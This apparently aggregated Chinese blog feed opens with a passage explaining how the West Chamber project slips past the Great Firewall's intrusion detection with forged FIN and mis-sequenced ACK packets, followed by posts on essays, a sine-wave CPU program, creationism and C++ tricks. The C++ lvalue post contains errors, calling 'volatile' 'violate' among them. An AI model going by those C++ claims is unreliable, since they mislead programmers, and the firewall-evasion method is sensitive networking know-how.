如何讓一個連接置之死地而後生,就是西廂計劃那幫黑客神奇的地方了。這也不是一日之功。 首先,這幫牛人發現,牆的是一個入侵檢測系統,把含有關鍵字的包當成一種“入侵”來對待。採取這種設計有很多好處,但缺點是入侵檢測系統可能具有的問題,牆都可能有。西廂計劃主頁上那篇著名的論文就是講這些七七八八的漏洞的。可以說處理這些七七八八的漏洞是非常困難的,迫使牆的設計者“拆東牆,補西牆”。這樣補來補去,外表看起來好像很牛逼的牆,其實有很多本質上無法簡單修補的漏洞,其中有一個致命的,就是 TCP 連接狀態的判定問題。 出於入侵檢測系統這種設計的侷限,牆沒有,也沒辦法準確判定一條 TCP 連接的狀態,而只是根據兩邊收到的數據來“推測”連接的狀態。而所有的關鍵詞檢測功能,都是基於“連接還活着”的這個推測的結果的。因爲牆的規則是在連接發起的時候開始對這條連接的檢測,在連接終止的時候停止對這條連接的檢測,所以,一旦對連接的狀態推測錯誤,把還活着的連接當成已經關閉的連接,牆就會放棄對這條連接上隨後所有的包的檢測,他們都會都透明的穿過牆的入侵檢測。

上面只是想法,具體到 TCP 協議實現這一層,就要只迷惑牆,還不能觸及我要通信的服務器。最理想的情況下,在任何有效通信之前,就能讓牆出現錯誤判斷,這些,就需要對 TCP 協議有深刻理解了。西廂計劃的那幫黑客,居然真的去讀 TCP 幾百頁的 RFC,還居然就發現了方法(這裏我假設讀者都知道 TCP 的三次握手過程和序列號每次加一的規則)。 我們都知道,三次握手的時候,在收到服務器的 SYN/ACK 的時候,客戶端如果發送 ACK 並且序列號+1 就算建立連接了,但是客戶端如果發送一個序列號沒 +1 的 FIN (表示連接終止,但是服務器知道,這時候連接還沒建立呢, FIN 這個包狀態是錯的,加上序列號也是錯的,服務器自己一判斷,就知道這個包是壞包,按照標準協議,服務器隨手丟棄了這個包), 但這個包,過牆的時候,在牆看來,是表示連接終止的(牆是 ma de in china, 是比較山寨的,不維護連接狀態,並且,牆並沒有記下剛纔服務器出去的 SYN/ACK 的序列號,所以牆不知道序列號錯了)。所以,牆很高興的理解爲連接終止,舒了一口氣去重置其他連接了, 而這個連接,就成了殭屍,牆不管你客戶端了,而這時候,好戲纔剛剛開始。

事實上,牆是雙向檢測的(或者說對每個包都檢測的),因此,對服務器和客戶端實現相同的對待方法,所以,牆不管客戶端還不行,假如服務端有關鍵詞傳給客戶端,牆還是有可能要發飆的(這裏說有可能,因爲我也不知道)。所以,最好的辦法就是,讓服務端也給牆一個終止連接的標誌就好了。可是這個說起來簡單,做起來難,怎麼能讓不受自己控制的服務器發一個自己想要的包呢? 西廂計劃的那幫黑客,再次去讀幾百頁的 RFC, 令人驚訝的發現,他們居然在 RFC 上發現了一個可以用的特性。我們上面說了,三次握手的時候,在收到 SYN/ACK 後,客戶端要給服務器發送一個序列號+1 的ACK,可是,假如我不+1呢,直接發 ACK 包給服務器。 牆已經認爲你客戶端是死老虎了,不理你了,不知道你搞什麼飛機,讓這個 ACK 過了。可是服務器一看,不對啊,你給我的不是我期待的那個序列號, RFC 上說了,TCP 包如果序列號錯了的話,就回復一個 Reset. 所以,服務器就回復了一個 Reset。這個 Reset 過牆的時候,牆一看樂了,服務器也終止連接了,好吧,兩邊都是死老虎了,我就不監聽這條連接了。而至於客戶端,這個服務器過來的 Reset 非常好識別,忽略就是。隨後,客戶端開始正確的發送 ACK, 至此,三次握手成功,真正的好戲開始,而牆則認爲客戶端和服務器都是死老虎,直接放過。所以,張生就這樣透明的過了牆。 至於過牆以後所有的事情,《西廂記》裏面都有記載,各位讀者自行買書學習。

現在的西廂計劃客戶端,即“張生”模塊的防連接重置的原理就是這樣,服務器端,即鶯鶯模塊的實現也是類似的。防DNS那個,不懂 DNS 協議,所以看不懂。我猜想,因爲開發人員都是黑客,所以自然喜歡用最經得起折騰和高度定製的 Linux 開發。 現在看西廂計劃的實現,因爲依賴於 Linux 內核模塊 netfilter, 在 Linux 上如魚得水,但往其他平臺的移植可能是個亟待解決的問題。 我覺得,在其他平臺上,可以通過 libpcap 和 libnet ,在用戶態實現相同的功能,就是有點麻煩而已,有興趣的懂網絡的可以照西廂計劃原理,在家自行做出此功能;當然,全中國人民都用 Linux 最好 :)

PS 1: 據說是西廂計劃一個作者畫的原理圖:http://img.ly/DIi
PS 2: 我對 TCP 的理解僅限於課本,如果上面的對技術的理解有錯,請大家指出。
PS 3: 有些漏洞,可能是設計上本質缺陷,不是那麼容易修復的。
PS 4: 除了最後一個圖,本文沒有其他相關鏈接,如需相關資料,自行Google。

by farseerfc at March 17, 2010 12:40 AM

October 31, 2009

pythoncat

你和我,两根线的缘分

无论你是我的亲友邻里,还是我的师长同窗;无论你是我的知音知己,还是泛泛之交;无论我们相识多年,还是素未谋面······于无涯的时间里,在无际的空间中,你和我的相遇,是两根线的缘分。
也许我们是相交的两根线段,漫长的一生只独留给我们擦肩而过的一瞬或短暂的共处,然后是天各一方,我们义无反顾地朝着原先的不同的远方远去。质本洁来还洁去,无需任何回忆。也许我们的交点是某一方的始点或终点,这时,一方的生命因另一方而延续,我们是生与死的交替,是因与果的轮回。不去想这种缘分是偶然还是必然,当我们邂逅时,我只想送你一个微笑,而我最想从你那得到的也是它。
也许我们是一根直线和一个圆。相切时,我们曾有交融的一点,但是,线进不了 圆的心,尽管它们离得那么近,圆也包容不了线的旅程,它的心不在那里。相交时,我们曾或者将会朝夕相处,彼此靠得更近,同甘共苦,学习影响,打闹玩笑,从陌生到熟悉——有的又回到陌生——或者一直陌生,这种缘分太容易忘怀,一旦重拾并延续,又很容易酿成香醇的酒,我一直期待在多年以后自己能品尝到几坛!相片和字迹会像天边的流星瞬间黯淡,记忆会像野外的流萤在明灭间消逝,我明白,灵魂只能独行(周国平语),生活总是一个人的战争,但是,在我的未来里,记忆中的你的点点滴滴会汇成滋润我的甘泉,让我 ALONE BUT NOT LONELY……
也许我是正弦函数线,你是横轴(反之不一定成立)。与你第一次相遇后,我扭头回转或者无意却为之,最后再次又再次相交,我的心情全绕着你而起起伏伏;如果你是一座跷跷板,两边放着的便是我的喜与忧笑与泪,假如你无意倾斜,请告诉我,我会将你当作连绵的沙滩,日夜涨落日夜把你问候;也许我们的相交只是概率学的偶然作弄,清如水漂如油,各自有各自的归宿。
也许我是正弦线,你是关于X轴对称的另一条,那么我们得承认,上帝掷色子的理论已经无法解释我们的缘分。那样的话,我希望这纠缠不清的轨迹能重叠为一,而不是《搜神记》里拓跋与姑射的令人扼腕的有花无果;或者说,这种完美的互补和对称不是柏拉图所说的那种,那么,兄弟~朋友~姐妹,我们手拉手便胜过世上最坚韧的绳索。
也许我们是坐标轴和反比例函数线,今生来世的轮回,生生相叠。曲线从四面八方无限地向直线靠去,交点在望却达不到。如果因为追赶而越来越逼近是一种幸福,那我愿意像西西弗斯生生世世推着巨石向山顶攀登,让那沿途也飘满爱的花香。但是,如果永远有希望意味着绝望,那么,呆子或者傻瓜,不要再拿生命当赌注了,抛掉无知和冲动,我们还是各走各的吧。不是每个时候我们的理性都会胜过感性,反之也是,任何一种失衡都是误会和遗憾的起源,只有相知才能互补。
也许我们是两根平行线,在鸿沟两边遥望却盼不到在终点相交的那一天,人生的列车枕着我们呼啸奔驰,在等待站台时我们慢慢腐朽;或者这两根线属于两个世界(异面直线),我们或迷惘或执着——可能兼而有之,可能兼而无之——地追寻自己的源头,没有意识到彼此的存在;又或者,在默默无闻的我变作地底的煤或岩石后,你才呱呱呱呱地形成一个点,由未知的力量推着划起线,只有我在你的世界里,而我却永远不知道你;又或者,你就是我,你是镜中的虚象,你来自另一个维度,我们是两个华州,就像两个博尔赫斯,这段文字不是来自第三者~~
如果把眼光放在“现在”,不去考虑一生的种种可能,那么,我们还不是线而是点。我们像广阔湖面上两粒浮萍或者两粒花粉,生不由己地作着一种叫做布朗的运动,我们是孤独无助的,更得时时留心风雨、同类和鱼虾,全凭命运的拨弄,不知道会是相遇还是错过,像薛定谔的猫,不知道是生还是死……如果我们积极进取勇于创造的心不能被它泯灭,嘿嘿,大湖就变成我们的天堂,我们在上面画下抽象但唯美的图腾……
也许~~~
也许~~~
也许~~~
我想尽量把各种“缘”都诉诸笔端,但是我的人生阅历、想象力和表达能力都不能胜任,而且,只有一个我,却有那么多的“你”,我的线和你们的线连成的是和白蚁王宫一样复杂的立体图,真个是“剪不断,理还乱”。
人生的真相就在于它的变幻不定了吧,我说的可能可能也许也许或者或者,那只是一个无知小儿写的幼稚剧本,一个人自编自导自娱自乐。我知道那是自己在骗自己,精神分裂的孩子会认为自己有两个脑袋,他最喜欢的还是自己而已。
我不是 Truman 有一座桃源岛可以逃,不知道是不是有那么一座岛可以给我逃,更不知道是不是可以逃得出。所以我才要做一个导演的角色让自己自豪,然后在另一个地方做一个小演员让别人为我而自豪……
——初稿 2009.10.31,修改 2019.07.20
花下猫语: 有个关于夏天的话题萦绕在我脑海里已经两三年了,可我迟迟下不了笔。翻阅 QQ 空间里的日志找灵感。大学的几年里,我竟然写了近 100 篇,有的跨越了挺长时间,单篇累积的体量可不小(最长的一篇写了一年,2万4千字)。那时在相识的亲朋同学圈子里,写作全无忌惮,也不在意阅读与评论。如今情感少了蓬勃,还总是顾虑重重,发什么都设分组,过后时时牵挂着回响。莫名的负担,莫名的面具。为自己不甘。往后,我会整理一些旧文出来,一点点卸去这几年的失语负担。上文是 10 年前刚进入网络社交空间时,我写下的第一篇文章。从时间与话题看,作为一个开始,还算不错吧。

October 31, 2009 12:00 AM

June 02, 2008

farseerfc

寫程序讓CPU佔用率保持正弦函數

導入自 renren

據說是一道微軟的面試題。如題,寫程序,讓Windows的任務管理器中的性能監視器呈現正弦曲線。

正弦曲線 正弦曲線

潛心鑽研良久,得代碼:(java)

public class sincpu {
    private static final int cycle=1024,tick = 256;
    public static void main (String[] args) throws InterruptedException {
        for(int i = 0;;i++){
            work(calcNextSleep(i % cycle));
            sleep(tick - calcNextSleep(i % cycle));
        }
    }

    private static long calcNextSleep(long i){
        return (int)(Math.sin((double)i * 2 * Math.PI / cycle) * tick + tick) / 2;
    }

    private static void sleep (long sleepTime) throws InterruptedException
    {
        if(sleepTime < 2)
            Thread.yield();
        else
            Thread.sleep(sleepTime);
    }

    private static void work (long period) {
        long start = System.currentTimeMillis();
        for(;;){
            Math.sin(1);
            if(System.currentTimeMillis() - start >= period)
                break;
        }
    }
}

多核CPU上測試時要注意關掉一個CPU:

多核CPU上測試

by farseerfc at June 02, 2008 02:27 PM

May 12, 2008

farseerfc

關於神創論的一些見解

導入自 renren

看到陳驫同學很有感想的一篇神創論與命運日誌,覺得近日很久沒有看到這樣的評論了。想說幾句自己的觀點。

首先我認爲,神創論與宿命論沒有多少關聯,甚至進化論者相較於神創論者更容易接受宿命論的觀點。因爲神創論主張意志的存在,人所具有的個體意志與神的意志,因此在神創論者的眼中事件的結果是可以通過意志來改變的,亦即如果我從物理樓11樓跳下,那麼我就可以改變自己死亡時間的宿命。上帝的意志同樣可以左右事件的結果,也就是所謂的宿命不復存在。而進化論者不承認意志獨立於物質世界的存在,你我的思考、行爲,都受到物理學法則諸如量子力學的約束,這就引出了北大物理系教授的那句“宇宙中的一切都是可以計算的”,亦即宿命論。如我我選擇現在從物理樓上跳下,我這一行爲並不是處於個人的獨立意志,乃是想證明這一點,亦即我跳樓這一舉動是有其背後的動機與原因的,就如同計算機的輸入必然導致了輸出,宿命的必然終結於此。

其次,關於事件的複雜度所導致的隨機化,在大量混沌隨機中也存在着如統計學和隨機分形學這樣的規律,並不是否認宿命的充分理由。

關於神創論的合理性問題。我認爲是否相信神的存在只是一個boolean二值問題,它爲true爲false本身並不重要,重要的是確定它的取值之後得到的推論與結果。如果否認神的存在,如現代數學這樣的完美又何以存在,進化論者的解釋是事物最終會向着更好更高級的方向發展,產生現代數學乃至現代科學是發展的必然。而這種論調顯然有悖於物理中以熱力學第二定律爲首的,預言事物會隨時間推演愈發混亂的論斷。更進一步,甚至整個人類、整個生物系統的存在都是有悖於熱力學推論的現象,是某種理論只能以“小概率事件”解釋的現象。

神創論的核心觀點之一,是神的唯一存在性,按照鄒恆明的比喻,這就如同數學中集閤中元素的的唯一性一般至關重要。數學乃至近代科學的發展,其起源在於這種對神性的探求,而不僅僅是好奇心就可以解釋的。反觀東方文化中數學的發展,開始時領先於西方科學千餘每年,但是始終作爲一種craft-oriented的實用主義學科。可以說沒有了神的唯一性支持,人們就不能確信自己能找到這樣一種完美高效的學科,只能在實用的基礎上發展其基礎算數。可以想象,沒有神的完美與唯一性,數學必將發展成現代化學或者微軟軟件這樣,龐大而充滿特例,到處都是修補與查表,怎麼會像現在的完美、簡潔與和諧。

神創論者並不是將難題推與“神”然後放任不管,他們相信神是最爲理智的存在,創人時人同樣得到了神的智慧和理智,也就是神可以用人的理智來理解。

引用牛頓《自然哲學的數學原理》中終章的話“太陽、恆星、行星的這個極精緻的結構不可能存在,除非通過一個有理智的和有權能的存在的設計和主宰……他不是作爲宇宙的靈魂,而是作爲一切的主宰而統治所有……”

以上……

(發現最近的哲理思維果然慢了不少,寫作思緒也一片混亂^_^)

by farseerfc at May 12, 2008 02:16 AM

September 20, 2007

farseerfc

由記憶棒誤差故障引發的關於面向對象設計的九點思考

farseerfc.wordpress.com 導入

故障描述: MMC Memory Stick Duo記憶棒未經Adapter適配器,直接插入SD Reader,致使MMC卡入SD Reader中。

棧展開: 某日下午,無課。 忙於數分作業,想查詢用手機拍攝的板書照片。 取出手機中的MMC。 未經裝配Adapter,直接插入SD Reader。 (A runtime exception was thrown.) 嘗試翻轉筆記本機身,倒出MMC,未果。(rethrow) 嘗試用手指甲取出,未果。(rethrow) 考慮到有“推入反彈”機制,嘗試將MMC推入更深,反彈機制由於類型不匹配而失效,未果。(rethrow) (The exception spread across the border of the model.) 電腦維修技師接手(catch) 技師未能發現問題所在,由我解說原委。 (Because the exception lose the information, RTTI was asked to recall the information) 技師發現問題,嘗試用鑷子鑷出MMC,未果。 技師開解機箱(expose the data structure) 技師製作鉤子,勾出MMC(hooker link to the structure) 取出MMC,故障解除

故障總結 1.接收到沒有完全瞭解、或沒有適當工具解決的exception時,不要嘗試用不成熟的技術解決,應儘快尋求能解決它的代碼。否則,被反覆rethrow的exception,尤其是通過模塊邊界的exception,有可能由subclass退化爲superclass,並因此而喪失一些信息。儘量不要讓exception丟失信息,必要時,通過RTTI機制尋回信息。

2.超負荷運轉,多線程執行,這種種複雜性都有可能導致錯誤,應避免。無論你有多麼信任你的代碼或能力。

3.在設計class的interface時,相匹配的interface應該滿足is-a的關係。因此,任何能插入SD Reader的object,即任何實現了SD interface的object,都應該is-a SD card。這次故障中,interface接受了MMC,但MMC不是SD。即使這種情況下throw an exception,都不能使事態緩和。能提供compile-time error時,儘量讓錯誤以compile-time error的形式展現,並在事先解決。類型匹配問題是應該能在事先解決的問題。

4.Design patterns中的Adapter pattern應該只是迫不得已情況之下的解決方案。只有當你無權改變現狀時,才能使用Adapter。如果能改變現狀,應該改變設計以符合interface。

5.因爲上條,所有相似功能的對象應具有相同的interface,不同的interface是本次故障的根源所在。

6.特殊情況下,破壞封裝機制並expose the data structure是必要的,應該有方法支持這種做法。C的指針和C#的Reflection技術都以不同的方式支持這種做法。其他的一些語言機制,比如serializing(序列化)或streaming(流化),也可以以某種方式間接支持這一做法。當然,機制還應避免這種做法被濫用。

7.相反功能具有相同操作的設計,容易造成使用的混亂,應適當避免。比如SD Reader的推入反彈設計,即插入和彈出使用同一個向裏推的操作的設計。同樣的設計還包括,C++中的setNewHandle使用同一個函數,同時設置和返回handle。以及有些書中提倡的,使用同名函數重載的方式,實現setter/getter的設計。

8.特殊工具(hooker)對於解決特定問題,通常比手工解決有效。不要嫌麻煩而不願意構造特殊工具。

9.棧語義,即FILO順序,總在不知不覺中影響我們。違反了FILO順序的操作極易造成混亂。本故障發生時正確的處理順序爲: 裝配Adapter     插入SD Reader         讀取數據         停用設備     拔出SD Reader 拆解Adapter 本次故障的原因就是違反了FILO順序,違反了棧語義。

by farseerfc at September 20, 2007 05:38 AM

September 16, 2007

farseerfc

Program Development in Java Preface

farseerfc.wordpress.com 導入

程序開發原理

——抽象、規格與面向對象設計

Barbara Liskov 、John Guttag 著

楊嘉晨 等譯

關於翻譯風格:

多年來閱讀計算機類的著作及譯作,感覺總體的困難在於一大堆沒有標準譯名的技術術語。由於通行於工業界和學術界的還是英文原名和術語,我決定保留大量的英文術語。這樣的翻譯風格借鑑於臺灣著名的譯者和作者侯捷先生。對於譯與不譯的權衡,主要考慮閱讀的流暢,以及讀者的理解能力,或許難免帶有一些主觀色彩。

前言 Preface

構建產品級質量的程序——可以在很長一段時間內使用的程序——衆所周知是極其困難的。本書的目標就是改善程序員解決這項任務的效率。我希望讀者在閱讀本書之後成爲一名好程序員。我相信本書的成功在於改善編程技巧,因爲我的學生告訴我這已經發生在他們身上。

怎麼纔算是一名好程序員?是產生整個程序產品的效率。關鍵是要在每一階段減少浪費掉的努力。解決的方法包括:在開始編寫代碼之前就仔細考慮你的實現方案,通過未雨綢繆的方法來編寫代碼,使用嚴格的測試在早期發現錯誤,以及仔細注意模塊化編程,這樣當錯誤出現時,只需要改動極少數代碼就可以修正整個程序。本書涉及所有這些領域的技術。

模塊化編程(Modularity)是編寫好程序的關鍵。把程序分解成許多小模塊,每一個模塊通過良好定義的狹窄接口和別的模塊交互作用(interact)。有了模塊化,可以修正一部分程序中的錯誤而不考慮程序的其他部分,而且可以僅僅理解一部分程序而不必理解整個程序。沒有模塊化,程序是一大堆有着錯綜複雜的相互關係的部分的拼湊。很難去領悟和修改這樣一個程序,同樣也很難讓它正常工作。

因此本書的重點在於創建模塊化的程序:怎樣把程序組織成一系列精心挑選的模塊。本書認爲模塊化就是抽象(abstraction)。每一個模塊意味着一個抽象,比如說指引一系列文檔中的關鍵字的目錄,或者在文檔中使用目錄來查找匹配某個問題的文檔的過程。着重強調面向對象編程思想——在程序中使用數據抽象和對象的思想。

這本書使用Java作爲它的編程示例的語言。我們沒有假定讀者已經熟悉Java。儘管可能沒什麼價值,但是本書中的思想是語言無關的,並且可以在任何語言的編程中使用。

怎樣使用這本書? How Can the Book Be Used

本書《程序開發原理》有兩種使用方法。其一是作爲課本教材,講述如何用面向對象的方法來設計和實現複雜系統;其二是編程專家使用,幫助他們改善編程技能,增進他們的關於模塊化和Object-Oriented(面向對象)設計的知識。

作爲教材使用時,本書一般作爲第二或第三門程序設計課程。我們已經在MIT使用本書很多年,給大一大二的本科生教授第二門編程課。在這一階段,學生們已經知道怎樣編寫小程序。課程在兩方面利用這一點:讓學生更仔細地思考小程序,以及教他們如何利用小程序作爲組件構建大型程序。這本書也可以在專業(如軟件工程)後期教學中使用。

建立在本書基礎上的課程適合於所有計算機科學專業。儘管許多學生可能永遠不會成爲真正的大型程序的設計師,他們可以在開發部門工作,在那兒他們負責設計和實現能與整個結構耦合的子系統。模塊化設計的子系統是這種任務中心,這對那些從事大型程序設計任務的人來說也同樣重要。

這本書講什麼?What Is This Book About

通觀全篇三分之二的書致力於討論在構建獨立的程序模塊時產生的問題,剩下的部分討論怎樣運用這些模塊構建大型程序。

程序模塊Program Modules

這一部分的書集中討論抽象機制(abstraction mechanism)。它討論procedure(子程序)和exception(異常),數據抽象,遍歷(iteration)抽象,數據抽象系列(family)以及多態(polymorphic)抽象。

在對抽象的討論中,三個步驟是重要的。首先是決定被抽象的東西到底是什麼:它提供給它的用戶哪些行爲。創造抽象是設計的關鍵,因此本書討論如何在衆多選擇中挑選,以及怎樣才能創造出好的抽象。

第二步是通過爲一個抽象制定一個規格(specification)來獲取它的意義。如果沒有一些描述,一個抽象就會含糊不清,而變得沒有使用價值。specification則提供了需要的描述。本書定義了一種specification的格式,討論了一份好的specification應有的屬性,並且提供了許多示例。

第三步是實現抽象。本書討論怎樣設計一份實現,以及在簡潔性和執行性能之間怎樣權衡利弊。書中強調封裝(encapsulation)的重要性以及在一份實現中履行規格中定義的行爲的重要性。書中同樣提供一些技術——尤其是不變式斷言(representation invariant)和抽象函數(abstraction function)——來幫助讀者理解代碼和它的原因。不變式斷言和抽象函數都實現到儘可能的程度,這對於除錯和調試很有用。

關於類型層次(type hierarchy)的材料注重討論使用它作爲抽象的技術——一種把相關聯的一組數據抽象歸入同一系列的技術。這裏很重要的一點是,是否應當將一個類型作爲另一個類型的子類。本書定義了替換原則——通過比較子類和父類的specification,來決定是否建立子類關係的方法[1]

本書同樣涉及除錯和調試。書中討論怎樣得到足夠數量的測試情況,來準備通過黑箱和白箱測試,它同樣強調了複查(regression)測試的重要性。

編寫大型程序 Programming in the Large

本書的其後部分講解怎樣用模塊化的方法設計和實現大型程序。它建立在前文有關abstraction和specification的材料的基礎之上。

編寫大型程序涵蓋四個主要議題。首先講解需求分析——怎樣才能領悟程序中需要什麼。本書討論怎樣實施需求分析,也討論書寫產生的需求規格的方式,通過使用一種描述程序的抽象階段的數據模型。使用這種模型將產生一份更爲正式的specification,同時它也使需求檢查更加嚴格,這樣可以更好的領悟需求。

編寫大型程序的第二項議題是程序設計,這通常是一個循序漸進的過程。設計過程圍繞構建有用的抽象來組織,這些抽象作爲整個程序之中理想的構建組建。這些抽象在設計時被仔細的編寫規格,這樣當程序實現時,那些實現抽象的模塊可以獨立地開發。這種設計使用設計筆記編寫文檔,包括描述整個程序結構的模塊間依賴性的圖示。

第三項議題是實現和測試。本書討論了前置設計分析對於實現的必要性,以及怎樣進行設計複審。它同樣討論了設計和實現的順序。這一部分比較了自頂而下與自底而上的組織方式,討論如何使用驅動程序和佔位程序[2](stub),並且強調了制定一個事先的順序策略的必要性,以滿足開發組織和客戶的需求。

本書以一章設計模式(design pattern)結束。一些模式在前面的章節介紹過,比如遍歷抽象是算法的主要組建。最後的章節討論前文中沒有涉及到的模式。希望它作爲這一教材的介紹。有興趣的讀者可以繼續閱讀其它書中更完善的討論[3]

[1] 譯註:如果子類的specification包括了所有父類的specification,就是說父類的要求也是子類的要求,或者子類的要求更爲嚴格,那麼可以建立父子關係。而替換原則的說法是,對於具有父子關係的類,任何需要一個父類對象的地方,都可以替換爲一個子類對象。

[2] 譯註:在測試某一組建時,由於其餘組建還未實現,這一組建與其餘組建的接口銜接部分無法工作。此時可以針對這一組建編寫其餘組建的佔位程序(stub),預留出接口的銜接代碼。佔位代碼通常不做任何有價值的事情,只報告組建的銜接部位工作正常。

[3] 譯註:作者指的是設計模式的開山之作——《Design Patterns—Elements of Reusable Object-Oriented Software》,作者爲設計模式界著名的“四人幫”GoF(Gang of Four)。此書詳盡討論了三大類共23個廣泛使用的設計模式的適用範圍、依存關係、實現細節以及已有的應用領域等問題。書中以C++和Smalltalk爲示例語言,不過書中所涉及的模式適用於所有面向對象的語言。

by farseerfc at September 16, 2007 04:26 AM

C++ Tricks 3.2 標號、goto,以及switch的實現

farseerfc.wordpress.com 導入

3.2 標號、goto,以及switch的實現

goto語句及標號(label)是最古老的C語言特性,也是最早被人們拋棄的語言特性之一。像彙編語言中的jmp指令一樣,goto語句可以跳轉到同一函數體中任何標號位置:

void f()

{int i=0;

Loop: //A label

++i;

if(i<10)goto Loop; //Jump to the label

}

在原始而和諧的早期Fortran和Basic時代,我們沒有if then else,沒有for和while,甚至沒有函數的概念,一切控制結構都靠goto(帶條件的或無條件的)構件。軟件工程師將這樣的代碼稱作“意大利麪條”代碼。實踐證明這樣的代碼極容易造成混亂。

自從證明了結構化的程序可以做意大利麪條做到的任何事情,人們就開始不遺餘力地推廣結構化設計思想,將goto像猛獸一般囚禁在牢籠,標號也因此消失。

標號唯一散發餘熱的地方,是在switch中控制分支流程。

很多人不甚瞭解switch存在的意義,認爲它只是大型嵌套if then else結構的縮略形式,並且比if語句多了很多“不合理”的限制。如果你瞭解到switch在編譯器內部的實現機制,就不難理解強加在switch之上的諸多限制,比如case後只能跟一個編譯期整型常量,比如用break結束每一個case。首先看一個switch實例:

switch (shape.getAngle())

{

case 3: cout<<”Triangle”;break;

case 4: cout<<”Square”;break;

case 0:case1: cout<<”Not a sharp!”;break;

default: cout<<”Polygon”;

}

任何程序員都可以寫出與之對應的if結構:

int i= getAngle(shape);

if (i==3) cout<<”Triangle”;

else if(i==4) cout<<”Square”;

else if(i==0||i==1) cout<<”Not a sharp!”;

else cout<<”Polygon”;

看起來這兩段代碼在語義上是完全一樣的,不是麼?

不!或許代碼的執行結果完全一樣,但是就執行效率而言,switch版本的更快!

要了解爲什麼switch的更快,我們需要知道編譯器是怎樣生成switch的實現代碼的:

首先,保留switch之後由{}括起來的語具體,僅將其中case、default和break替換爲真正的標號:

switch (getAngle(shape))

{

_case_3: cout<<”Triangle”;goto _break;

_case_4: cout<<”Square”; goto _break;

_case_0:_case_1: cout<<”Not a sharp!”; goto _break;

_default: cout<<”Polygon”;

_break:

}

隨後,對於所有出現在case之後的常量,列出一張只有goto的跳轉表,其順序按case後的常量排列:

goto _case_0;

goto _case_1;

goto _case_3;

goto _case_4;

然後,計算case之後的常量與跳轉表地址之間的關係,如有需要,在跳轉表中插入空缺的項目:

100105: goto _case_0;

100110: goto _case_1;

100115: goto _default; //因爲沒有case 2,所以插入此項以條轉到default

100120: goto _case_3;

100125: goto _case_4;

假設一個goto語句佔用5個字節,那麼在本例中,goto的地址=case後的常量*5+100105

之後,生成跳轉代碼,在其餘條件下跳轉至default,在已知範圍內按照公式跳轉,全部的實現如下:

{

int i= getAngle(shape);

if (i<0||i>=5)goto _default;

i=i*5+100105; //按照得出的公式算出跳轉地址

goto i; //僞代碼,C中不允許跳轉到整數,但是彙編允許

100105: goto _case_0;

100110: goto _case_1;

100115: goto _default;

100120: goto _case_3;

100125: goto _case_4;

_case_3: cout<<”Triangle”;goto _break;

_case_4: cout<<”Square”; goto _break;

_case_0:_case_1: cout<<”Not a sharp!”; goto _break;

_default: cout<<”Polygon”;

_break:

}

經過這樣處理整個switch結構,使得無論switch後的變量爲何值,都可以通過最多兩次跳轉到達目標代碼。相比之下if版本的代碼則採用線性的比較和跳轉,在case語句很多的情況下效率極低。

由此,我們也可以知道,爲什麼case後跟的一定是編譯期整型常數,因爲編譯器需要根據這個值製作跳轉表。我們可以明白爲什麼case與case之間應該用break分隔,因爲編譯器不改變switch語句體的結構,case其本身只是一個具有語義的標號而已,要想跳出switch,就必須用break語句。

by farseerfc at September 16, 2007 04:08 AM

C++ Tricks 3.1 左值右值與常量性(lvalue,rvalue & constant)

farseerfc.wordpress.com 導入

3.1 左值右值與常量性(lvalue,rvalue & constant)

首先要搞清楚的是,什麼是左值,什麼是右值。這裏給出左值右值的定義:

1、左值是可以出現在等號(=)左邊的值,右值是隻能出現在等號右邊的值。

2、左值是可讀可寫的值,右值是隻讀的值。

3、左值有地址,右值沒有地址。

根據左值右值的第二定義,值的左右性就是值的常量性——常量是右值,非常量是左值。比如:

1=1;//Error

這個複製操作在C++中是語法錯誤,MSVC給出的錯誤提示爲“error C2106: '=' : left operand must be l-value”,就是說’=’的左操作數必須是一個左值,而字面常數1是一個右值。可見,嚴格的區分左值右值可以從語法分析的角度找出程序的邏輯錯誤。

根據第二定義,一個左值也是一個右值,因爲左值也可讀,而一個右值不是一個左值,因爲右值不可寫。

通常情況下,聲明的變量是一個左值,除非你指定const將它變成一個右值:

int lv=1;

const int rv=lv;

由於右值的值在程序執行期間不能改變,所以必須用另一個右值初始化它。

一個普通變量只能用右值初始化,如果你想傳遞左值,必須聲明一個引用或一個指針:

int & ref=lv;//用引用傳遞左值

int * plv=&lv;//傳遞指針以間接傳遞左值

必須用左值初始化引用,然而,可以用右值初始化常量引用:

int & r1=1; //Error!

const int & r2=1; //OK

這實際上相當於:

int _r2=1;

const int & r2=_r2;

這樣的寫法在函數體內沒什麼作用,但是在傳遞函數參數時,它可以避免潛在的(傳遞左值時的)複製操作,同時又可以接受右值。

通常情況下,函數的參數和返回值都只傳回右值,除非你明確的通過引用傳遞左值。

明確了左值與右值的區別,有助於我們寫函數時確定什麼時候應該有const,什麼時候不該有。比如,我們寫了一個代表數學中複數的類Complex:

class Complex;

然後,我們寫針對Complex的運算符重載:operator+和operator=。問題在於,參數和返回值應該是什麼類型,可選類型有四種: Complex、const Complex、Complex&、const Complex&。

對於operator+,我們不會改變參數的值,所以可以通過const Complex&傳遞參數。至於返回值類型,由於int類型的加法返回右值,所以根據Do as the ints do的原則,返回值類型爲const Complex:

const Complex operator+(const Complex&,const Complex&);

對於operator=,同樣要思考這些問題。我們寫入第一個參數,所以第一個參數爲Complex&,我們只讀取第二個參數,所以第二個參數爲const Complex&。至於返回值,還是Do as the ints do。int的賦值返回左值,不信你可以試一試:

int i;

(i=1)=2;

雖然比較傻,先將i賦爲1,再將其改爲2,但是這是被C++語法支持的做法,我們就理應遵守。所以返回第一個參數的左值:

Complex& operator=(Complex&,const Complex&);

const是C++引入的語言特性,也被ANSI C99借鑑,在經典版本的C語言中是沒有的。關於const的歷史,有幾點值得玩味。最初Bjarne Stroustrup引入const時,可寫性是和可讀性分開的。那時使用關鍵字readonly和writeonly。這個特點被首先提交到C的ANSI標準化委員會(當時還沒有C++標準化的計劃),但是ANSI C標準只接受了readonly的概念,並將其命名爲const。隨後,有人發現在多線程同步的環境下,有些變量的值會在編譯器的預料之外改變,爲了防止過度優化破壞這些變量,C++又引入關鍵字violate。從語義特點來看,violate是const的反義詞,因爲const表示不會變的量,而violate表示會不按照預期自行變化的量。從語法特點而言,violate與const是極爲相似的,適用於const的一切語法規則同樣適用於violate。

值的常量性可以被劃分爲兩種:編譯期常量和運行期常量。C++語法並沒有嚴格區分這兩種常量,導致了少許混亂:

const int i=5;const int * pi=&i;

const_cast<int&>i=1;//對於運行期常量,在需要時可以去除它的常量性

int a[i];//對於編譯期常量,可以用它來指定數組大小

cout<<i<<sizeof(a)/sizeof(a[0])<<*pi;

